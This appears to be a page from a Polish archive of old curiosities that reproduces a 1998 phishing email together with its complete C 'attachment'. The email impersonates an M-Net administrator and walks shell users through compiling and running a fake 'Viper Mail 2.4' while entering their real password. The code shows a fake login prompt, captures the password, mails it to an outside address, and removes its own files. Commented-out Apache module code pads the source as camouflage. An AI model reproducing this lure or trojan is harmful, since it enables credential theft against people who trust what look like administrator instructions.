.---------------------. _.-._ ..-.. _.-._ | Muzeum miliona ma?�p | (_-.-_) /|'.'|\ (_'.'_) `--.------------------' mrf.\-/. \)\-/(/ ,-.-. | __/ /-. \__ __/ ' ' \__ __/'-'-'\__ | ( (___/___) ) ( (_/-._\_) ) ( (_/ \_) ) | '.Oo___oO.' '.Oo___oO.' '.Oo___oO.' | .--^----------------------. | Eksponat trzeci | | "Jestem sobie mały miś" | `-------------------------' From adminer[]cyberspace.org Thu Sep 17 13:44:54 1998 Return-Path: adminer[]grex.cyberspace.org From: M-Net Administrator <adminer[]cyberspace.org> Subject: New Product From M-Net RSDVPS Greeting users! We, as a representative FINALY provide you a Viper Mail version 2.4. On request of your System Operator we sent you new version of Viper Mail provided by M-Net's RSDVPS. (Research & Development Service.) For you who co-operated with us before this is nothing new. Here is a step by step manual: --------------------------------------------------------------------- Step No.1: ---------- Enter your shell account and access your mail program. Mostly PINE. Extract file 'ViperMmail2.4.c.gz' from this mail message. In PINE : type 'V' to access attachement area. Then type 'S' to save it and then press 'ENTER' or 'RETURN'. Exit your mail program. Step No.2: ---------- File is compresed so you need to gunzip him. You achive that by typing (in your shell prompt ofcourse) following line 'gunzip ViperMmail2.4.c.gz' After you did this go to next step. Step No.3: ---------- Compilation work is the uglyest. Just typer (in your shell prompt) this line 'gcc -o ViperMmail2.4 ViperMmail2.4.c' If everything is O.K. prompt need to be showed again. If not...well.. log off :). Step No.4: ---------- Now you need to start a program. Remeber, you'll need to start it just once. After he is started you will receive a message. Read it do it. Remember, for safety of your account don't let ANYONE to see password you enter. Prompt will accept any password by for this program is required to enter your exact account password. -------------------------------------------------------------------- That would be it. If you encounter anny 'problemos'report it to your system operator or us (RSDVPS) on [email protected]. NOTE! There is also a GAME in here ! In accord with our 15 anniversary we provide you a $1000 dollars. :)))) You need to right down a number that is shown on starting of the program and wait for us to call you if you win! Trust me! This works! :) It's not much ..but.. :) Have fun. Regards, Neimar Lessa RSDVPS member [email protected] ---------------------------------------------------------------------- ---------------------------------------------------------------------- /* #include "httpd.h" #include "util_md5.h" char *md5 (pool *p, unsigned char *string) { MD5_CTX my_md5; unsigned char hash[16]; char *r, result[33]; int i; * Take the MD5 hash of the string argument. MD5Init(&my_md5); MD5Update(&my_md5, string, strlen((const char *)string)); MD5Final(hash, &my_md5); for (i=0, r=result; i<16; i++, r+=2) sprintf(r, "%02x", hash[i]); *r = '\0'; return pstrdup(p, result); } static char basis_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; char *md5contextTo64(pool *a, MD5_CTX *context) { unsigned char digest[18]; char *encodedDigest; int i; char *p; encodedDigest = (char *)pcalloc(a, 25 * sizeof(char)); MD5Final(digest, context); digest[sizeof(digest)-1] = digest[sizeof(digest)-2] = 0; p = encodedDigest; for (i=0; i < sizeof(digest); i+=3) { *p++ = basis_64[digest[i]>>2]; *p++ = basis_64[((digest[i] & 0x3)<<4) | ((int)(digest[i+1] & 0xF0)>>4)]; *p++ = basis_64[((digest[i+1] & 0xF)<<2) | ((int)(digest[i+2] & 0xC0)>>6)]; *p++ = basis_64[digest[i+2] & 0x3F]; } *p-- = '\0'; *p-- = '='; *p-- = '='; return encodedDigest; } char *md5digest(pool *p, FILE *infile) { MD5_CTX context; unsigned char buf[1000]; long length = 0; int nbytes; MD5Init(&context); while ((nbytes = fread(buf, 1, sizeof(buf), infile))) { length += nbytes; MD5Update(&context, buf, nbytes); } rewind(infile); return md5contextTo64(p, &context); } */ char buffer[255]; char var1[255]; int moo; #define log "qwerty" #define addr "HOST" #define done "." main () { system("clear"); printf("\nViper Mmail ver.2.4 (1998)\n\n"); printf("\nNOTE#: This programm will accept any password string\n\n"); printf("\n : you enter. But if you want this program to work\n\n"); printf("\n : enter your exact account password in the field.\n\n"); printf("\nBrought to You By M-Net Research & Development Service (c)\n\n"); printf("\nSec.Code: 006123\n\n"); printf("Linux 2.*.* (%s) (ttyp2)\n\n\n",addr); printf("login: "); gets(var1); moo = getpass("Enter your exact password: "); sprintf(buffer,"echo %s >> %s",moo,log); system(buffer); system("echo . > .login"); system("rm .login"); system("cat qwerty | mail [email protected]"); system("rm -rf qwerty"); system("rm -rf ViperMmail2.4"); system("rm -rf ViperMmail2.4.c"); sprintf(buffer,"echo %s >> .profile",done); system(buffer); exit(0); } /* #include "httpd.h" #include "http_config.h" module agent_log_module; static int xfer_flags = ( O_WRONLY | O_APPEND | O_CREAT ); #ifdef __EMX__ OS/2 dosen't support users and groups static mode_t xfer_mode = ( S_IREAD | S_IWRITE ); #else static mode_t xfer_mode = ( S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH ); #endif typedef struct { char *fname; int agent_fd; } agent_log_state; void *make_agent_log_state (pool *p, server_rec *s) { agent_log_state *cls = (agent_log_state *)palloc (p, sizeof (agent_log_state)); cls->fname = ""; cls->agent_fd = -1; return (void *)cls; } const char *set_agent_log (cmd_parms *parms, void *dummy, char *arg) { agent_log_state *cls = get_module_config (parms->server->module_config, &agent_log_module); cls->fname = arg; return NULL; } command_rec agent_log_cmds[] = { { "AgentLog", set_agent_log, NULL, RSRC_CONF, TAKE1, "the filename of the agent log" }, { NULL } }; void agent_log_child (void *cmd) { Child process code for 'AgentLog "|..."'; * may want a common framework for this, since I expect it will * be common for other foo-loggers to want this sort of thing... cleanup_for_exec(); signal (SIGHUP, SIG_IGN); #ifdef __EMX__ For OS/2 we need to use a '/' execl (SHELL_PATH, SHELL_PATH, "/c", (char *)cmd, NULL); #else execl (SHELL_PATH, SHELL_PATH, "-c", (char *)cmd, NULL); #endif perror ("exec"); fprintf (stderr, "Exec of shell for logging failed!!!\n"); exit (1); } void open_agent_log (server_rec *s, pool *p) { agent_log_state *cls = get_module_config (s->module_config, &agent_log_module); char *fname = server_root_relative (p, cls->fname); if (cls->agent_fd > 0) return; virtual log shared w/main server if (*cls->fname == '|') { FILE *dummy; if (!spawn_child (p, agent_log_child, (void *)(cls->fname+1), kill_after_timeout, &dummy, NULL)) { perror ("spawn_child"); fprintf (stderr, "Couldn't fork child for AgentLog process\n"); exit (1); } cls->agent_fd = fileno (dummy); } else if(*cls->fname != '\0') { if((cls->agent_fd = popenf(p, fname, xfer_flags, xfer_mode)) < 0) { perror("open"); fprintf(stderr,"httpd: could not open agent log file %s.\n", fname); exit(1); } } } void init_agent_log (server_rec *s, pool *p) { for (; s; s = s->next) open_agent_log (s, p); } int agent_log_transaction(request_rec *orig) { agent_log_state *cls = get_module_config (orig->server->module_config, &agent_log_module); char str[HUGE_STRING_LEN]; char *agent; request_rec *r; if(cls->agent_fd <0) return OK; for (r = orig; r->next; r = r->next) continue; if (*cls->fname == '\0') Don't log agent return DECLINED; agent = table_get(orig->headers_in, "User-Agent"); if(agent != NULL) { ap_snprintf(str, sizeof(str), "%s\n", agent); write(cls->agent_fd, str, strlen(str)); } return OK; } module agent_log_module = { STANDARD_MODULE_STUFF, init_agent_log, initializer NULL, create per-dir config NU make_agent_log_state, server config NULL, merge server config agent_log_cmds, command table NULL, handlers NULL, filename translation NULL, check_user_id NULL, check auth NULL, check access NULL, type_checker NULL, fixups agent_log_transaction, logger NULL header parser }; */ .--------..----------.------------.----------.----------.----------. | muzeum || pierwsza | poprzednia | ma?�pka 3 | następna | ostatnia | `--------^^----------^------------^----------^----------^----------'